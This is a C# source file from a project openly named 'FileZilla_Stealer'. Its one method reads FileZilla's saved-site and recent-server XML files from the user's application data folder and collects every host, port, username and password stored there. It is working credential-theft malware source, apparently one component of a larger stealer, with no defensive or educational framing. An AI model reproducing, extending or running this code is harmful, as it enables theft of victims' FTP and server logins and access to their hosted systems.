﻿using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Xml;
using System.Collections;

namespace FileZilla_Stealer
{
    /// <summary>
    /// Reads login information from saved and recent servers used with FileZilla.
    /// </summary>
    class FileZilla
    {
        /// <summary>
        /// Reads login information.
        /// </summary>
        /// <returns>
        /// Returns Host:Port, User and Pass.
        /// </returns>
        public static List<string[]> getPWs()
        {
            List<string[]> result = new List<string[]>();
            string[] Files = new string[] { "sitemanager.xml", "recentservers.xml" };
            string fPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "FileZilla");
            foreach (string file in Files)
            {
                string path = Path.Combine(fPath, file);
                if (File.Exists(path))
                {
                    XmlDocument document = new XmlDocument();
                    document.Load(path);
                    IEnumerator enumerator = document.DocumentElement.ChildNodes[0].ChildNodes.GetEnumerator();
                    while (enumerator.MoveNext())
                    {
                        XmlNode current = (XmlNode)enumerator.Current;
                        string host = (current.ChildNodes[0] != null) ? current.ChildNodes[0].InnerText : "";
                        string port = (current.ChildNodes[1] != null) ? current.ChildNodes[1].InnerText : "";
                        string user = (current.ChildNodes[4] != null) ? current.ChildNodes[4].InnerText : "";
                        string pass = (current.ChildNodes[5]!= null) ? current.ChildNodes[5].InnerText : "";
                        result.Add(new string[] { "FileZilla", string.Format("{0}:{1}", host, port), user, pass });
                    }
                }
            }
            return result;
        }
    }
}
